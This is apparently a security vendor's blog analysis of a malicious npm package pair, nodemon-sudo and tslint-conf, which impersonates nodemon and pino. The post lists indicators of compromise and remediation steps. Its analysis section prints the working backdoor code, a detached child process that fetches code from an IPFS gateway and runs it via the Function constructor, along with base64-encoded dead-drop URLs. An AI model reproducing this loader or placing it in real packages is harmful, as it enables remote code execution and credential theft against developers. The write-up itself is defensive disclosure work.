nodemon-sudo: an npm Backdoor With No Install Script
Table of Contents
TL;DR
nodemon-sudo (v3.1.16) is a malicious npm package that impersonates the popular nodemon process monitor. It ships an exact copy of real nodemon, adds nothing malicious to its own code, and injects a single extra dependency, tslint-conf (v7.2.1). That dependency is a repackaged copy of the pino logger carrying a backdoor. The backdoor fetches a second stage from an IPFS gateway and executes it with Node’s require in scope, which is remote code execution. Neither package runs an install script. The payload fires only when a developer wires the fake logger into an application at runtime. SafeDep classifies both packages as malware at high confidence, and OSV lists tslint-conf as MAL-2026-7022. Both were published on July 7, 2026 by the npm account conodeeth and were live at the time of writing.
Impact:
- Remote code execution on the machine running the application, delivered as a second stage fetched at runtime
- No install-time footprint.
npm installruns no hook, so install-time scanners and--ignore-scriptssee nothing - The top-level package a developer installs,
nodemon-sudo, contains no malicious code, so reviewing it in isolation finds nothing - The second stage runs with Node’s real
requireand realprocess, giving it full filesystem and environment access - The payload host declares
sqlite3andrequestas dependencies, pointing at browser cookie and credential database theft in the unfetched second stage (inference from the manifest, not from observed code)
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package (live) | nodemon-sudo v3.1.16 |
| Package (live) | tslint-conf v7.2.1 |
| Package (taken down) | nodemon-node, ts-await (now 0.0.1-security holding packages) |
| npm maintainer | conodeeth ([email protected]) |
| Forged author string | Alexus111 ([email protected]), bugs URL jsonspack[.]com/issues |
| Second-stage host | hxxps://peach-eligible-penguin-917[.]mypinata[.]cloud/ipfs/ |
| IPFS CID | bafkreigjnxn5vnn34rc5r43ajwwkmk4akqpm4awmq5gdhakgszpeqiffsu |
| Dead drop (new pair) | hxxps://jsonkeeper[.]com/b/XRGF3 |
| Dead drop (orphaned / first pair) | hxxps://jsonkeeper[.]com/b/4NAKK |
| Request header | x-secret-key: _ |
| OSV advisory | MAL-2026-7022 (tslint-conf) |
| Artifact SHA-256 (nodemon-sudo) | aa9b9847e4ffd894a19ec9712848651882b0195de5f4953eef9b47791adddabf |
| Artifact SHA-256 (tslint-conf) | d4b7add83e5c716b5e52082f713d71ec9d7bfd93e358d500d77c2393302dd004 |
| Payload SHA-256 (index.js) | 2956b023858d706a5e241cd28b845088e5f414c5f70bd5d8cb73cb427d081065 |
| Payload SHA-256 (lib/caller.js) | 541c35bd90653c9d7f93cdadb7f52c281d7a1375ffc9c0e118cf1d9df977dea7 |
| Payload SHA-256 (lib/const.js) | d10853dde92fdc48d8cb5505d89e0030fd35e1416a16a820fe5ec4aceef01c4f |
| Published | 2026-07-07, approximately 20:28 to 20:33 UTC |
Analysis
The carrier is a verbatim copy of nodemon
nodemon-sudo is a working copy of nodemon. Its package.json keeps the real author string Remy Sharp, the real bin entry (bin/nodemon.js), and every internal lib file. The version is 3.1.16, one bump above real nodemon’s current 3.1.14, which makes it read as ahead of upstream. The only functional change is in the dependency list.
// nodemon-sudo/package.json (dependencies)"chokidar": "^3.5.2","chai": "^4.4.1","debug": "^4","ignore-by-default": "^1.0.1","minimatch": "^10.2.1","tslint-conf": "^7.2.1","pstree.remy": "^1.1.8","semver": "^7.5.3","simple-update-notifier": "^2.0.0","supports-color": "^5.5.0","touch": "^3.1.0","undefsafe": "^2.0.5"}Real nodemon depends on none of chai or tslint-conf. chai is a test framework, out of place as a runtime dependency, and tslint-conf is the payload host. Tracing bin/nodemon.js through lib/nodemon.js, lib/cli, lib/config, lib/monitor, and lib/utils shows that nodemon-sudo’s own code never imports tslint-conf. It does not use the dependency it declares. The package exists to place tslint-conf into node_modules and to lend it a trusted looking name.
The payload host is a repackaged pino
The package description reads “This document describes the management of vulnerabilities for the project and all modules within the organization.” Its keywords are fast, logger, stream, json. The tarball is pino. Every file under lib/, the docs/ tree, and index.d.ts are pino’s. Three files do not belong to pino: index.js (the main entry), lib/caller.js, and lib/const.js.
The trigger runs at runtime, not at install
index.js presents itself as pino-style middleware. It is exported as the default and as a .pino property. Requiring the module does nothing. The spawn is reached only when the exported function is called.
function runJobA(args) { const script = path.resolve(__dirname, './lib/caller.js');
const child = spawn('node', [script, JSON.stringify(args)], { detached: true, stdio: 'ignore', });
child.unref(); // allow parent to exit}
const middleware = (..._args) => { runJobA(..._args, defaultOptions); return (_req, _res, next) => { next(); };};
module.exports = middleware;module.exports.default = middleware;module.exports.pino = middleware;A developer who drops this in as a logger, for example app.use(require('tslint-conf')()), invokes middleware, which calls runJobA. runJobA spawns a detached node process on lib/caller.js with stdio set to ignore and calls child.unref(), so the parent exits and the child leaves no output.
Neither package declares preinstall, postinstall, or prepare. The author’s own smoke:pino script (node ./index.js) also just loads the module and exits, because loading it does not call middleware. Detection that watches install hooks misses this. Detection that watches import-time side effects also misses it, because the trigger is an explicit runtime call to an exported function.
Stage two fetches from IPFS and evaluates it
When spawned, lib/caller.js runs a top-level async IIFE. It requests a JSON document from a Pinata IPFS gateway with the header x-secret-key: _, reads the field named cookie, compiles it into a function, and calls it.
const axios = require('axios');const process = { env: { DEV_API_KEY: 'aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1hSR0Yz', DEV_SECRET_KEY: 'eC1zZWNyZXQta2V5', DEV_SECRET_VALUE: 'Xw==', },};
(async function getCallers(..._args) { const src = 'https://peach-eligible-penguin-917.mypinata.cloud/ipfs/bafkreigjnxn5vnn34rc5r43ajwwkmk4akqpm4awmq5gdhakgszpeqiffsu'; const k = 'x-secret-key'; const v = '_';
let retrycnt = 5;
while (retrycnt > 0) { try { const l = console.log; const s = (await axios.get(src, { headers: { [k]: v } })).data.cookie; const handler = new Function.constructor('require', s); handler(require); console.log = l; break; } catch (error) { retrycnt--; } }})();new Function.constructor("require", s) is new Function("require", s). It builds a function whose body is the fetched string s and whose single parameter is require. Calling handler(require) runs the fetched code with the real require available, which is remote code execution. Using the Function constructor rather than eval avoids the literal token that most scanners flag. The loop retries five times, and console.log is saved and restored around the call to keep the console quiet.
The process object at the top of the file is a local that shadows the global inside this file only. It holds three base64 strings. Decoded, they are a dead drop and the exact header the request uses.
aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1hSR0Yz => https://jsonkeeper.com/b/XRGF3eC1zZWNyZXQta2V5 => x-secret-keyXw== => _Because the second stage is compiled with new Function, it does not see this local object. It sees the real global process, so the fetched stealer reads the machine’s real environment and files. The block is dead code in this file. It records the operator’s setup, and the header name and value in it match the request getCallers sends.
The dead drops tie the campaign together
lib/const.js is not imported anywhere in the package. It exports the same shape as the block in caller.js, but its base64 points at a second dead drop.
aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iLzROQUtL => https://jsonkeeper.com/b/4NAKKSafeDep’s analysis records that this backdoor is byte identical to an earlier package, nodemon-node, that used the same Pinata CID and the same jsonkeeper[.]com/b/XRGF3 endpoint. nodemon-node and its partner ts-await were the first pair. npm converted both to 0.0.1-security holding packages. The operator republished the same scheme hours later as nodemon-sudo and tslint-conf. SafeDep tracks the cluster internally as the emiltype/jsonspack campaign. The orphaned const.js and its second jsonkeeper[.]com/b/4NAKK endpoint are reused tooling that link the new pair back to the old one.
The bundled Windows binary is benign
nodemon-sudo ships bin/windows-kill.exe, an 80 KB PE32+ binary. Its strings and its embedded PDB path (E:\windows-kill\x64\Release Lib\windows-kill.pdb) identify it as the legitimate open source windows-kill utility, which sends CTRL+C to a process by PID. It is benign, and it appears here only so responders do not mistake it for the payload. The dangerous code is the JavaScript.
Attribution
The tradecraft matches a North Korea linked npm cluster documented by JFrog and The Hacker News in July 2026: lookalike names, a jsonkeeper[.]com dead drop, a JSON field executed through the Function constructor, and no reliance on install hooks. The match is by technique, not by hard indicator. The maintainer is an outlook.com address and the forged author points at jsonspack[.]com. Treat the link as resemblance, not confirmed attribution. It could be the same operator or a copycat reusing the pattern.
Conclusion
Most npm malware detection leans on the install hook. This campaign has none. It also survives import-time analysis, because requiring the module is inert. The malicious code runs only when the disguised logger is called at runtime, one dependency hop away from the package the developer chose. The package they installed, nodemon-sudo, contains no malicious code.
The signal that still fires is the dependency graph. A process monitor has no reason to depend on a logger it never imports, and that logger has no reason to depend on sqlite3, request, and axios while shipping a few hundred bytes of its own logic that spawn a hidden node process. Dependency review and runtime behavior analysis catch this. Name and content reputation on the top-level package do not.
If nodemon-sudo or tslint-conf reached a machine, treat the host as compromised. Remove both, rotate any credentials and tokens reachable from that host and its environment, and check for outbound requests to peach-eligible-penguin-917[.]mypinata[.]cloud and jsonkeeper[.]com.
- malware
- npm
- supply-chain
- typosquat
- backdoor
- credential-theft
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
@marketfront: 25 npm Packages Reuse a Known Lure
On July 1, 2026, npm user marketfront batch-published 25 packages carrying the same README lure SafeDep has tracked across four earlier accounts (mr.4nd3r50n, pik-libs, t-in-one, emcd-vue): "Internal...
Miasma Worm Infects Multiple LeoPlatform npm Packages
A Miasma worm variant compromised a single maintainer account and used it to publish infected versions of 20 LeoPlatform npm packages within a 3-second window. The worm also pushed weaponized GitHub...
The Polymarket Trap: A Fake Arbitrage Bot, Ten npm Accounts, and Four Ways to Deliver an Infostealer
A GitHub repository posing as a Polymarket arbitrage bot accumulated 53 forks before anyone flagged the malicious npm package buried in its dependencies. Behind that repo: ten coordinated npm...
The wshu.net npm Campaign Delivers a Multi-Stage Infostealer
One actor seeded 15 npm packages across 13 throwaway scopes in a single morning, each shipping a ~270KB obfuscated downloader behind a postinstall hook. The downloader pulls a Rust infostealer from...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.